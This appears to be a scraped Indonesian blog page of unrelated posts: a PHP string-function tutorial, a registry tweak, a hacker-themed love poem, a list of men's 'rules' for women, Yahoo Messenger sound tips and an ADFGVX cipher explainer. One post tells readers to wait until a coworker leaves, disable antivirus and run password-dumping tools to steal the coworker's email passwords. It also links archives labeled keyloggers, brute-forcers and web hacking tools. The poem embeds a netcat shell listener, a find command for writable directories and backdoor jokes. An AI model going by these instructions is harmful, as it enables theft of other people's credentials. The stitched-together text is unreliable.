s Argumen diperlakukan dan ditampilkan sebagai string.
x Argumen diperlakukan sebagai integer dan ditampilkan sebagai angka heksadesimal (dengan huruf kecil).
X Argumen diperlakukan sebagai integer dan ditampilkan sebagai angka heksadesimal (dengan huruf besar).

Contoh:

$angka1 = 68.75;
$angka2 = 54.35;
$angka = $angka1 + $angka2;
// echo $angka akan menghasilkan "123.1";
$format = sprintf ("%01.2f", $angka);
// echo $format akan menghasilkan "123.10"

Diantara karakter % dan karakter pemberi spesifikasi juga dapat disisipkan angka. Angka di depan karakter pemberi spesifikasi menunjukkan jumlah digit atau jumlah karakter (minimum) yang akan ditampilkan. Jika ada angka titik, berarti hal tersebut menunjukkan jumlah angka di belakang koma. Misalnya “%01.2f” menunjukkan bahwa bilangan tersebut ditampilkan sebagai floating point dan harus ada 2 angka di belakang koma yang ditampilkan, “%02d” menunjukkan bahwa bilangan tersebut ditampilkan sebagai integer dan harus ada 2 angka yang ditampilkan, jadi jika hanya terdapat angka 8, akan diubah menjadi 08. Contoh:

$year = 2001;
$month = 8;
$day = 17;
$tanggal = sprintf ("%04d-%02d-%02d", $year, $month, $day);
// echo $tanggal akan menghasilkan “2001-08-17”

Fungsi Htmlentities()
Fungsi ini digunakan untuk menghentikan proses penerjemaahan tag HTML oleh browser, sehingga tag HTML akan dibiarkan muncul seperti apa adanya, tanpa diterjemahkan oleh browser. Sintaksnya adalah sebagai berikut:

Htmlentities(string)

Contoh:

$str = “ Klik Di Sini ”;
$result = htmlentities($str);
echo “$str”;
echo “$result”;
?>

Jika variabel $str langsung dikenai fungsi echo(), maka yang muncul adalah link yang bertuliskan “Klik Di Sini”, tapi jika dikenai htmlentities() terlebih dahulu seperti yang ditunjukkan oleh variabel $result, maka yang muncul adalah “ Klik Di Sini ”.
Hal seperti ini berguna misalnya jika kita hendak menampilkan tutorial penggunaan HTML dalam bentuk file HTML juga. Seperti contoh tersebut, misalnya kita hendak memberi pelajaran bagaimana membuat sebuah link. Jika hendak menuliskan “ Klik Di Sini ” tanpa diterjemahkan oleh browser, maka kita harus menuliskannya sebagai berikut:

< A HREF='abc.htm' > Klik Di Sini < /A >

Tentunya sangat sulit dan menyita waktu bukan? Htmlentities() akan mempermudah pekerjaan kita.

Fungsi Strstr(), Stristr(), dan Strchr()
Ketiga fungsi ini digunakan untuk mencari keberadaan suatu string di dalam string lain. Sintaksnya adalah sebagai berikut:

Strstr(tujuan,pencari)
Stristr(tujuan,pencari)
Strchr(tujuan,pencari)

Dari ketiga fungsi tersebut, hanya stristr() yang tidak bersifat case sensitive. Parameter tujuan adalah string yang dicari oleh pencari. Hasil yang didapat adalah mulai dari karakter pencari pertama yang ditemukan sampai akhir string tujuan. Jika string pencari tidak terdapat pada string tujuan, maka fungsi akan menghasilkan nilai False.
Contoh:

$email = “user@domain.com”;
$domain = strstr($email,’@’);
// echo $domain akan menghasilkan “@domain.com”

Fungsi Strlen()
Fungsi ini digunakan untuk mengukur panjang karakter sebuah string. Sintaksnya adalah sebagai berikut:

Strlen(string)

Sebuah spasi akan dihitung sebagai sebuah karakter.
Contoh:

$str = “The quick brown fox jumps over the lazy dog”;
$pj = strlen($str)
// variabel $pj bernilai 43

Fungsi Strrev()
Fungsi ini digunakan untuk membalik urutan karakter-karakter penyusun string dari depan ke belakang menjadi dari belakang ke depan. Dengan kata lain fungsi ini digunakan untuk membaca string secara terbalik.

Strrev(string)

Contoh:

$str = “Belajar PHP itu mudah”;
echo strrev($str);
// hasilnya adalah “hadum uti PHP rajaleB”

Fungsi Str_replace()
Fungsi ini digunakan untuk mengganti suatu string dengan string yang lain. Sintaksnya adalah sebagai berikut:

Str_replace(yang_diganti,p
engganti,tujuan)

Parameter yang_diganti menunjukkan string yang akan diganti.
Parameter pengganti menunjukkan string yang akan menggantikannya.
Parameter tujuan adalah string secara keseluruhan yang didalamnya mengandung string yang_diganti. Bisa juga merujuk pada variabel tertentu yang berisi sebuah string.

Contoh:

$str = “Belajar PHP itu sulit”;
echo str_replace(“sulit”, “mudah”, $str)
// hasilnya adalah “Belajar PHP itu mudah”

Fungsi Substr()
Fungsi ini digunakan untuk mengambil atau memotong suatu bagian sebuah string dan menampilkannya sebagai sebuah string tersendiri. Sintaksnya adalah sebagai berikut:

Substr(string,mulai[,panjang])

String akan diambil atau dipotong mulai dari karakter yang terletak pada nomor yang ditunjukkan oleh parameter mulai dengan jumlah sebanyak angka yang ditunjukkan oleh parameter panjang.
Contoh:

$rest = substr ("abcdef", 1); // menghasilkan "bcdef"
$rest = substr ("abcdef", 1, 3); // menghasilkan "bcd"

Parameter mulai juga dapat diisi dengan negatif. Jika negatif, maka perhitungan dimulai dari karakter yang paling belakang. Contoh:

$rest = substr ("abcdef", -1); // menghasilkan "f"
$rest = substr ("abcdef", -2); // menghasilkan "ef"
$rest = substr ("abcdef", -3, 1); // menghasilkan "d"

Fungsi Strtolower() dan Strtoupper()
Kedua fungsi ini digunakan untuk mengkonversi string menjadi huruf kapital semua atau huruf kecil semua. Sintaksnya adalah sebagai berikut:

Strtolower(string)
Strtoupper(string)

Contoh:

$str = “StrINg inI terDiRi DARi hurUF beSAr dan KECIl”;
echo strtolower($str);
// hasilnya adalah: “string ini terdiri dari huruf besar dan kecil”
echo strtoupper($str);
// hasilnya adalah: “STRING INI TERDIRI DARI HURUF BESAR DAN KECIL”

Fungsi Strpos()
Fungsi ini digunakan untuk mengetahui posisi sebuah string di dalam string yang lain. Sintaksnya adalah sebagai berikut:

Strpos(tujuan,pencari)

Jika pada string tujuan terdapat lebih dari satu karakter yang dicari oleh karakter pencari, maka karakter pertama yang ditemukan yang akan dipakai. Contoh:

$str = “bambang”;
$cari = strpos($str,”b”);
// echo $cari akan menghasilkan 0

Perhatikan bahwa sangat mudah terjadi kebingungan antara karakter yang ditemukan pada posisi ke nol dengan karakter tidak ditemukan. Oleh karena itu diperlukan suatu cara untuk membedakannya, sebagai berikut:

// pada PHP 4.0b3 dan terbaru:
$pos = strpos ($str, "b");
if ($pos === false) { // perhatikan jumlah tanda = ada 3
echo “Tidak ditemukan”;
}

// pada PHP sebelum 4.0b3:
$pos = strpos ($str, "b");
if (is_string ($pos) && !$pos) {
echo “Tidak ditemukan”;

Mungkin saja Anda bingung, untuk apa sih semua fungsi-fungsi tersebut? Memang saat diterangkan fungsi-fungsi tersebut nampaknya hanya untuk main-main string saja, tetapi nanti jika pembahasan kita telah masuk lebih dalam dan mulai membangun sebuah aplikasi web, fungsi-fungsi tersebut baru akan nampak kegunaannya. Tetapi tidak mungkin membangun suatu aplikasi web tanpa belajar dasarnya dulu, bukan?
Selamat belajar.


http://www.remote-exploit.org/backtrack_download.html

Click tombol start lalu tekan R akan mengarah pada Run, lalu ketik Regedit
tekan enter.
Registery Editor akan terbuka
cari key :

HKEY_LOACAL_MECHINE\SYSTEM\CurrentControlSet\Control\ContentIndex



cari :
"Startup Delay"
Double Click

klick Decimal
Default Value 4800000
rubah ke 40000

tutup Registery Editor dan Restart komputer anda

Seandainya hatimu adalah sebuah system, maka aku akan scan kamu untuk mengetahui port mana yang terbuka Sehingga tidak ada keraguan saat aku c:\> nc -l -o -v -e ke hatimu,tapi aku hanya berani ping di belakang anonymouse proxy, inikah rasanya jatuh cinta sehingga membuatku seperti pecundang atau aku memang pecundang sejati whatever!

Seandainya hatimu adalah sebuah system,
ingin rasanya aku manfaatkan vulnerabilitiesmu, pake PHP injection Terus aku ls -la; find / -perm 777 -type d,sehingga aku tau kalo di hatimu ada folder yang bisa ditulisi atau adakah free space buat aku?. apa aku harus pasang backdor "Remote Connect-Back Shell"jadi aku tinggal nunggu koneksi dari kamu saja, biar aku tidak merana seperti ini.

Seandainya hatimu adalah sebuah system,
saat semua request-ku diterima aku akan nogkrong terus di bugtraq untuk mengetahui bug terbarumu maka aku akan patch n pacth terus,aku akan jaga service-mu jangan sampai crash n aku akan menjadi firewallmu aku akan pasang portsentry, dan menyeting error pagemu " The page cannot be found Coz Has Been Owned by Someone get out!" aku janji gak bakalan ada macelinious program atau service yang hidden, karena aku sangat sayang dan mencintaimu.

Seandainya hatimu adalah sebuah system,
jangan ada kata "You dont have permission to access it" untuk aku, kalau ga mau di ping flood Atau DDos Attack jangan ah....! kamu harus menjadi sang bidadari penyelamatku.

Seandainya hatimu adalah sebuah system, ...?

Tapi sayang hatimu bukanlah sebuah system,
kamu adalah sang bidadari impianku, yang telah mengacaukan systemku!
Suatu saat nanti aku akan datang n mengatakan kalau di hatiku sudah terinfeksi virus yang Menghanyutkan, Ga ada anti virus yang dapat menangkalnya selain ...kamu.

http://rapidshare.com/files/98757167/VietNam_Tools.www.cw-network.info.rar

Ini adalah cerita dari sisi kami, Kaum Cowok!! Kaum adam!! Aturan kami!!

Untuk para cewek2...


1. Tidak Semua cowok seperti Dedy Corbuzer.

Jadi jangan harap kami bisa membaca isi pikiranmu disaat kamu manyun tanpa suara.
Apa susahnya sih bilang : "Aku Laper, Aku minta dibeliin pakaian, Tolong Rayu Aku...!!"

2. Hari Minggu itu waktunya istirahat setelah 6 hari bekerja, jadi jangan harap kami mau menemani seharian jalan2 ke mall.

3. Berbelanja BUKAN olahraga. Dan kami gak akan berpikir ke arah situ.

Bagi kami belanja ya belanja, kalau sudah pas ya beli saja, perbedaan harga toko A dan B cuma 1,000 perak jadi nggak usah keliling kota untuk cari yang paling murah, buang2 bensin aja.

4. Menangis merupakan suatu pemerasan.

Lebih baik kami mendengar suara petir, guntur , bom meledak daripada suara tangisanmu yang membuat kami tidak bisa berbuat apa2.

5. Tanya apa yang kamu mau. Cobalah untuk sepaham tentang hal ini.

Sindiran halus tidak akan dimengerti. Sindiran kasar tak akan dimengerti
Terang2an menyindir juga kita gak ngerti! Ngomong langsung kenapa!?

6. Ya dan Tidak adalah jawaban yang paling dapat diterima hampir semua pertanyaan.
It's Simple.!!

7. Cerita ke kami kalo mau masalah kamu diselesaikan.

Karena itu yang kami lakukan.. Pengen dapet simpati doang sih, cerita aja ke temen2 cewekmu.

8.. Sakit kepala selama 17 bulan adalah penyakit.
Pergi ke dokter sana !

9. Semua yang kami katakan 6 bulan lalu gak bisa dipertimbangkan dalam suatu argumen.Sebenernya, semua komentar jadi gak berlaku dan batal setelah 7 hari.
Janji kami untuk menyebrangi lautan dan mendaki gunung itu hanyalah klise, jangan dianggap serius.

10. Kalo kamu gak mau pake baju kayak model2 pakaian dalam, jangan harap kita seperti artis sinetron dong.

11. Kalo kamu pikir kamu gendut, mungkin aja. Jangan tanya kami dong.
Cermin lebih jujur daripada Lelaki.

12. Kamu boleh meminta kami untuk melakukan sesuatu atau menyuruh kami menyelesaikannya dengan cara kamu.
Tapi jangan dua2nya dong. Kalo kamu pikir bisa melakukannya lebih baik, kerjain aja sendiri.

13. Kalau bisa, ngomongin apa yang harus kamu omongin pas iklan aja.

Ingat, jangan sekali2 ngomong apalagi pas saat tendangan pinalty.

14. Kami bukan anak kecil lagi, jadi tak perlu mengingatkan jangan lupa makan, selamat tidur, dll. Menurut kami itu hanyalah pemborosan pulsa saja.

15. Kalo gatel kan bisa digaruk sendiri. Kami juga kok.

16. Kalo kami nanya ada apa dan kamu jawab gak ada apa2, kami akan berpikir memang gak ada apa2. Ingat, seperti no.1 kami bukanlah pembaca pikiran.
Ngomong baby...ngomong. ...!!

17. Kalo kita berdua harus pergi ke suatu tempat, pakaian apapun yang kamu pakai, pantes aja kok. Bener. Jadi tidak ada alasan gak mau pergi ke pesta karena tidak ada baju.

18. Jangan tanya apa yang kami pikir tentang sesuatu kecuali kamu memang mau diskusi tentang bola, game, billyard, memancing atau mungkin juga ttg teknik mereparasi mobil.

19. Kami malas berdebat secara hati dan perasaan, ingat!! kami hanya pakai logika.

20. Terima kasih sudah mau baca ini. dah aku siapkan seutas tali buat kaum cewek yang merasa selama ini membuat ribet kaum adam..


[Image: 20081116234422_Kissme_49204de69316c-t.gif]

dua tool kecil 40KB tanpa perlu di instal, langsung di jalanin..
contoh, misalnye anda ingin tau password email, fs dsb dari temen kerjaanda yang ada di samping
Cara, tunggu dia cabut dari kursi. setelah dia pergi jalanin tool via Flashdisk atau floppy.
Tapi sebelumnye disable dulu anti virus kompi, soalny bakal ke detect jadi trojan (yang jelas ni tool bukan virus).
JALAN KAN!!
semua password yang beberapa menit lalu pernah dimasukin ame temen bakal kebuka tanpa kecuali. Hebat kan?

untuk Firefox
http://www.ziddu.com/download/2960500/passwordfox.zip.html
Untuk IE
http://www.ziddu.com/download/2960521/IE_P...Viewer.zip.html

http://www5.indowebster.com/1356cd28872ad1fa96d1022ab3c43ce0.rar

http://www.ziddu.com/download/4835893/ZHider-2-00_2.zip.html

http://www.ziddu.com/download/4822172/WebHackingTools.rar.html

http://www.ziddu.com/download/4859023/BruteForcers.rar.html

http://www.ziddu.com/download/4857237/Keyloggers.rar.html

http://www.ziddu.com/download/4835363/PortIPScanners.rar.html

penasaran liat nick kalian menjadi wajah kalian ??

cek this

http://turnyournameintoaface.com/

Pertama masuk ke C:\Program Files\Yahoo!\Messenger\Media lalu disitu ada banyak program berextension kan .wav

cari suara yang kita inginkan tuk mengganti suara2 default YM..

setelah mendapet suara yang inginkan, maka ganti namanya dulu sesuai dengan defaultnya YM..Misal di default YM di C:\Program Files\Yahoo!\Messenger\Media ada file dengan nama "chimeup.wav", nah itu kita bisa ubah dengan suara yang kita inginkan dengan syarat harus ganti dulu nama nya sesuai dengan default name of wav YM diatas..

Contoh :
suara pesan masuk default YM adalah chimeup.wav << di rubah dengan suara chimeup.wav(ct_reportingin.wav) yang sebelumnya adalah suara yang inginkan tadi..

Jadinya kalo di YM gw seperti ini :
Pesan Masuk : Reportingin! << bukan lagi suara defaultnya YM
Teman Signout : Teammate Down!
Teman Signin : Alright, Let's Move Out!
BUZZ! : Taking Fire, Need Assistance!

http://rapidshare.com/files/179532493/Yahoo_Messenger_10_Final.rar

http://rapidshare.com/files/186888526/Hack.Tutorial.Video.part1.rar

http://rapidshare.com/files/186888648/Hack.Tutorial.Video.part2.rar

http://rapidshare.com/files/186888691/Hack.Tutorial.Video.part3.rar

http://rapidshare.com/files/186888704/Hack.Tutorial.Video.part4.rar

http://rapidshare.com/files/186888704/Hack.Tutorial.Video.part5.rar

http://rapidshare.com/files/186888704/Hack.Tutorial.Video.part6.rar


ADFGVXZ merupakan sebuah chiper yang dipergunakan tentara jerman pada perang
dunia kedua dan berhasil di pecahkan oleh seorang berkebangsaan perancis.
ADFGVXZ enkripsinya berdasarkan sebuah tabel, pertama buat tabelnya dengan
huruf A D F G V X Z di sisi atas dan di sisi samping kiri, kemudian masukkan base
Aplhabetnya= abcdefghijklmnopqrstuvwxyz0123456789 .,?!<>+=*:;$
jadinya seperti ini
:

A D F G V X Z
A a b c d e f g
D h i j k l m n
F o p q r s t u
G v w x y z 0 1
V 2 3 4 5 6 7 8
X 9 . , ? ! <
Z > + = * : ; $


Dari tabel diatas dapat di baca kalo a jika dienkripsi menjadi AA, b jika dienkripsi
menjadi AD, c jika dienkripsi menjadi AF dan seterusnya.

Berikut penulis berikan implementasi ADFGVXZ chiper dalam sebuah program komputer.

Newer Posts Home